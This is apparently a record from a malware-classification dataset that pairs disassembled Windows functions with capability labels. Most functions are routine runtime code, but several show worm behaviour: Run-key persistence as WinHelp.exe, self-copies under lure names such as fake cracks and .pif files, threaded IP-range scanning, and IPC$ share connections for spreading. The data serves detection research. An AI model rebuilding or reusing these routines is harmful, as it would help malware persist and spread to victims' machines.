joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10065806
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x1006582d
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x10065830
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.100657e2
pop esi
leave
ret 8

Function at 0x1006d91a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10067bd0
mov eax, dword [0x100c4380]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.10077d9f
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1006d95c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1006dab8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.10083260
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x100c75b8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.100788c0
mov ecx, dword [esi*4 + 0x100c75b8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x1006dab1
cmp eax, dword [ecx + edi + 0x24]
jne 0x1006dab1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1006dab1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100788c0
add esp, 0x14
test edx, edx
jl 0x1006dab1
jg 0x1006da27
test eax, eax
jb 0x1006dab1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x1006dab1
jl 0x1006da41
cmp dword [ebp - 0x1008], eax
ja 0x1006dab1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x1006da5f
test ebx, ebx
je 0x1006da98
cmp ecx, edi
jae 0x1006da98
mov al, byte [ecx]
cmp al, 0xd
jne 0x1006da79
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1006da85
cmp byte [ecx + 1], 0xa
jne 0x1006da85
inc ecx
jmp 0x1006da85
movzx eax, al
movsx eax, byte [eax + 0x100c4630]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1006da5f
cmp edx, ebx
jne 0x1006da5f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1006dab6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10066a5e
leave
ret
Function at 0x10075b51
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10075b90
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10075b90
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10075b90
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10075b90
cmp dword [ecx + 0x74], 0xe
jbe 0x10075b90
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1007893c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x100c75b8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1007897c
cmp byte [ebx], 0xa
jne 0x1007897c
or byte [edi + eax + 0x28], 4
jmp 0x10078981
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10078a80
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10078a63
inc eax
cmp dl, 0xd
je 0x100789ad
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x100789d3
cmp eax, ecx
jae 0x100789e1
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10078995
jmp 0x10078a80
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10078a5e
cmp dword [ebp - 0x10], 0
je 0x10078a5e
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x100c75b8]
test byte [eax + edi + 0x28], 0x48
je 0x10078a38
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10078a23
mov byte [esi], dl
jmp 0x10078a34
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x100c75b8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10078a80
cmp byte [ebp - 1], 0xa
jne 0x10078a47
cmp esi, ebx
jne 0x10078a47
mov byte [esi], 0xa
jmp 0x10078a7f
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100788de
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10078a80
mov byte [esi], 0xd
jmp 0x10078a7f
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x100c75b8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10078a7d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10078a80
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10078a89
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x100c75b8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10078acf
cmp word [ebx], dx
jne 0x10078acf
or byte [eax + edi + 0x28], 4
jmp 0x10078ad4
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10078c37
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10078c17
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10078b15
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10078b4b
cmp eax, edx
jae 0x10078b59
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10078af0
jmp 0x10078c37
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10078c12
cmp dword [ebp - 0x18], 0
je 0x10078c12
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x100c75b8]
test byte [eax + edi + 0x28], 0x48
je 0x10078be8
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10078bac
mov word [esi], cx
jmp 0x10078be3
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x100c75b8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x100c75b8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x100c75b8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10078c37
pop eax
cmp word [ebp - 4], ax
jne 0x10078bf8
cmp esi, ebx
jne 0x10078bf8
mov word [esi], ax
jmp 0x10078c34
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.100788de
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10078c37
push 0xd
pop eax
jmp 0x10078bf3
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x100c75b8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10078c31
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10078c37
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1007a228
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100967a0
push 0x10096798
push str.FlsAlloc
push 0x1f
call fcn.1007a144
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1007a25c
push dword [ebp + 8]
mov ecx, esi
call dword [0x1009224c]
call esi
jmp 0x1007a262
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1007a2a6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100967b0
push 0x100967a8
push str.FlsGetValue
push 0x21
call fcn.1007a144
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1007a2dd
push dword [ebp + 8]
mov ecx, esi
call dword [0x1009224c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1007a2e5
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100967b8
push 0x100967b0
push str.FlsSetValue
push 0x22
call fcn.1007a144
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1007a31f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1009224c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1007d5e8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1007d685
push ebx
push esi
call fcn.1007d5b1
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1007c503
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1007d632
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1007d684
push edi
push eax
call fcn.10076e67
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1007d652
call fcn.10076e2d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1007d683
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1007c503
add esp, 0x20
test eax, eax
jne 0x1007d671
push edi
call fcn.10076e2d
jmp 0x1007d679
push ebx
call fcn.10076e2d
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10081a71
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.100819ed
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10081be0
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10081be0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10081b95
jg 0x10081acd
test eax, eax
je 0x10081b8b
push 1
push 0x1000
call fcn.10079fce
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10081af0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10081b82
push 0x8000
push ebx
call fcn.1008191e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10081b19
jg 0x10081b14
cmp ecx, 0x1000
jb 0x10081b19
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1007b136
add esp, 0x10
cmp eax, 0xffffffff
je 0x10081b5e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10081b14
jl 0x10081b45
test ecx, ecx
jne 0x10081b06
push dword [ebp - 0xc]
push ebx
call fcn.1008191e
push esi
call fcn.10076e2d
add esp, 0xc
xor ebx, ebx
jmp 0x10081bee
cmp byte [edi + 0x24], 0
je 0x10081b75
cmp dword [edi + 0x20], 5
jne 0x10081b75
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10081b80
mov ebx, dword [edi + 0x18]
jmp 0x10081b82
xor ebx, ebx
push esi
call fcn.10076e2d
pop ecx
jmp 0x10081bee
test ecx, ecx
jg 0x10081b57
jl 0x10081b95
test eax, eax
jae 0x10081b57
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100788de
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10081bb5
cmp byte [edi + 0x1c], 0
je 0x10081b57
jmp 0x10081be6
push ebx
call fcn.1007fa7f
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10081b57
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10081bee
cmp byte [edi + 0x1c], 0
je 0x10081beb
mov ebx, dword [edi + 0x18]
jmp 0x10081bee
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100788de
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10083220
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1008324d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1008324d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
push esi
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x10c]
push str.WinHelp.exe
push eax
call ebx
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push 0x412040
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401064
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x4010c2
push esi
push dword [ebp - 8]
push 1
push 0
push str.WinHelp
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
test eax, eax
jne 0x40105a
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10c]
push esi
push eax
call edi
lea eax, [ebp - 0x210]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push str.WinHelp.exe
push eax
call ebx
push 1
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4010c7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push 0x10e
mov esi, 0x42e150
push edi
push esi
call fcn.00408800
add esp, 0xc
push 0x104
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x42e260
push edi
push edi
push 0x40111e
lea eax, [ebp - 0xc]
push edi
push eax
mov dword [ebp - 4], 1
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
leave
ret
Function at 0x40125d
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x394
push ebx
push esi
push edi
push 0x105
lea eax, [ebp - 0x14c]
push 0
push eax
mov dword [ebp - 0x44], str.HyperSnap_DX_v4.51.01.exe
mov dword [ebp - 0x40], str.Adobe_Photoshop6.0.zip.exe
mov dword [ebp - 0x3c], str.HyperSnap_DX_v5.20.01.exe
mov dword [ebp - 0x38], str.Star_Wars_Downloader.exe
mov dword [ebp - 0x34], str.Real_DRAW_PRO_v3.10.exe
mov dword [ebp - 0x30], str.WinZip_v9.0_Beta_Build_5480_crack.exe
mov dword [ebp - 0x2c], str.CloneCD_crack.exe
mov dword [ebp - 0x28], str.You_Life.JPG.pif
mov dword [ebp - 0x24], str.AAdobe_Photoshop7.0_creak.pif
mov dword [ebp - 0x20], str.Swish2.00.pif
mov dword [ebp - 0x1c], str.WinRAR_V3.2.0_Beta_2.exe
mov dword [ebp - 0x18], str.Panda__Crack.zip.exe
mov dword [ebp - 0x14], str.Download.exe
mov dword [ebp - 0x10], str.SWF_Browser2.93.txt.exe
mov dword [ebp - 0xc], str.3D_Flash_Animator.rar.bat
mov dword [ebp - 8], str.Thank_you.doc.exe
call fcn.00408800
add esp, 0xc
lea eax, [ebp - 0x14c]
push 0x412110
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
call fcn.00409241
pop ecx
push 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xf
push dword [ebp + eax*4 - 0x44]
push 0x42e150
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40148c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ebx, 0x103
push ebx
lea eax, [ebp - 0x14c]
push dword [ebp + 8]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x14c]
push eax
call esi
cmp byte [ebp + eax - 0x14d], 0x5c
lea eax, [ebp - 0x14c]
push eax
jne 0x401375
call esi
mov ecx, 0x104
sub ecx, eax
push ecx
push 0x41210c
jmp 0x401384
call esi
mov ecx, 0x104
sub ecx, eax
push ecx
push 0x412108
lea eax, [ebp - 0x14c]
push eax
call esi
lea eax, [ebp + eax - 0x14c]
push eax
call edi
lea eax, [ebp - 0x394]
push eax
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x40148c
lea eax, [ebp - 0x368]
push 0x4120ac
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40146b
lea eax, [ebp - 0x368]
push 0x412104
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40146b
test byte [ebp - 0x394], 0x10
je 0x40146b
push ebx
lea eax, [ebp - 0x254]
push dword [ebp + 8]
push eax
call edi
lea eax, [ebp - 0x254]
push eax
call esi
cmp byte [ebp + eax - 0x255], 0x5c
jne 0x401421
lea eax, [ebp - 0x254]
push eax
call esi
mov ecx, ebx
jmp 0x401441
lea eax, [ebp - 0x254]
push 0x412100
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x254]
push eax
call esi
mov ecx, 0x104
sub ecx, eax
lea eax, [ebp - 0x368]
push ecx
push eax
lea eax, [ebp - 0x254]
push eax
call esi
lea eax, [ebp + eax - 0x254]
push eax
call edi
lea eax, [ebp - 0x254]
push eax
call fcn.0040125d
pop ecx
lea eax, [ebp - 0x394]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4013b7
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x4015e5
Capabilities:
Create thread
Initialize winsock library
Set socket configuration

Disassembly:
sub esp, 0x19c
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push edi
push eax
push 0x202
mov dword [esp + 0x18], 1
call sub.WSOCK32.dll_WSAStartup
call fcn.00401e71
push eax
call sub.WSOCK32.dll_inet_addr
mov edi, eax
push edi
call sub.WSOCK32.dll_ntohl
mov esi, eax
push edi
inc esi
call sub.WSOCK32.dll_ntohl
mov edi, eax
add edi, 0x258
call sub.WSOCK32.dll_WSACleanup
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [esp + 0x1c]
push eax
push 0x202
call sub.WSOCK32.dll_WSAStartup
xor ebx, ebx
push ebx
push 0xa
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
cmp esi, edi
mov dword [0x42e328], eax
jg 0x401699
jmp 0x40165f
xor ebx, ebx
push 0xffffffffffffffff
push dword [0x42e328]
call ebp
lea eax, [esp + 0x18]
push eax
push ebx
push esi
push 0x401743
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
test ebx, ebx
je 0x401697
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, edi
jle 0x40165d
xor ebx, ebx
push 0xffffffffffffffff
push dword [0x42e328]
call ebp
lea eax, [esp + 0x14]
push eax
push 1
push dword [0x42e328]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x4016ce
cmp dword [esp + 0x14], 9
je 0x4016d9
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401699
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x10], ebx
jne 0x401705
call fcn.00401f07
push eax
call sub.WSOCK32.dll_inet_addr
mov edi, eax
push edi
call sub.WSOCK32.dll_ntohl
mov esi, eax
push edi
inc esi
call sub.WSOCK32.dll_ntohl
mov edi, eax
add edi, 0x100
jmp 0x40172d
call fcn.00401dd0
push eax
call sub.WSOCK32.dll_inet_addr
mov edi, eax
push edi
call sub.WSOCK32.dll_ntohl
mov esi, eax
push edi
inc esi
call sub.WSOCK32.dll_ntohl
mov edi, eax
add edi, 0x258
mov dword [esp + 0x10], ebx
push dword [0x42e328]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call sub.WSOCK32.dll_WSACleanup
jmp 0x401635
Function at 0x401d68
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
mov esi, 0x412314
lea edi, [ebp - 0x54]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0xb
xor eax, eax
pop ecx
lea edi, [ebp - 0x51]
rep stosd dword es:[edi], eax
push dword [ebp + 8]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x54]
push eax
call fcn.00408870
lea eax, [ebp - 0x54]
push str.ipc_
push eax
call fcn.00408870
add esp, 0x10
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], eax
push eax
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x54]
push dword [ebp + 0x10]
mov dword [ebp - 0xc], ecx
push eax
call sub.MPR.dll_WNetAddConnection2A
neg eax
sbb al, al
pop edi
inc al
pop esi
leave
ret

Function at 0x401dd0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov ax, word [0x42e32c]
push edi
push 0x1f
mov word [ebp - 0x84], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x82]
push 0x80
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x84]
push eax
call sub.WSOCK32.dll_gethostname
test eax, eax
jne 0x401e6c
push ebx
lea eax, [ebp - 0x84]
push esi
push eax
call sub.WSOCK32.dll_gethostbyname
mov ebx, eax
mov esi, 0x42e314
test ebx, ebx
je 0x401e66
xor edi, edi
mov eax, dword [ebx + 0xc]
cmp dword [eax + edi], 0
je 0x401e66
push 0x14
push 0
push esi
call fcn.00408800
mov eax, dword [ebx + 0xc]
mov eax, dword [eax + edi]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
push str._d._d._d._d
push esi
call fcn.00409498
add esp, 0x24
add edi, 4
jmp 0x401e27
mov eax, esi
pop esi
pop ebx
jmp 0x401e6e
xor eax, eax
pop edi
leave
ret

Function at 0x401e71
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov ax, word [0x42e32c]
push edi
push 0x1f
mov word [ebp - 0x84], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x82]
push 0x80
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x84]
push eax
call sub.WSOCK32.dll_gethostname
test eax, eax
jne 0x401f02
lea eax, [ebp - 0x84]
push eax
call sub.WSOCK32.dll_gethostbyname
mov edi, eax
test edi, edi
je 0x401f02
mov eax, dword [edi + 0xc]
cmp dword [eax], 0
je 0x401f02
push esi
push 0x14
mov esi, 0x42e314
push 0
push esi
call fcn.00408800
mov eax, dword [edi + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
push str._d._d._d._d
push esi
call fcn.00409498
add esp, 0x24
mov eax, esi
pop esi
jmp 0x401f04
xor eax, eax
pop edi
leave
ret

Function at 0x401f6f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea ecx, [ebp - 4]
xor eax, eax
push ecx
push eax
push eax
push 0x401fa0
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
mov dword [ebp - 0x10], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret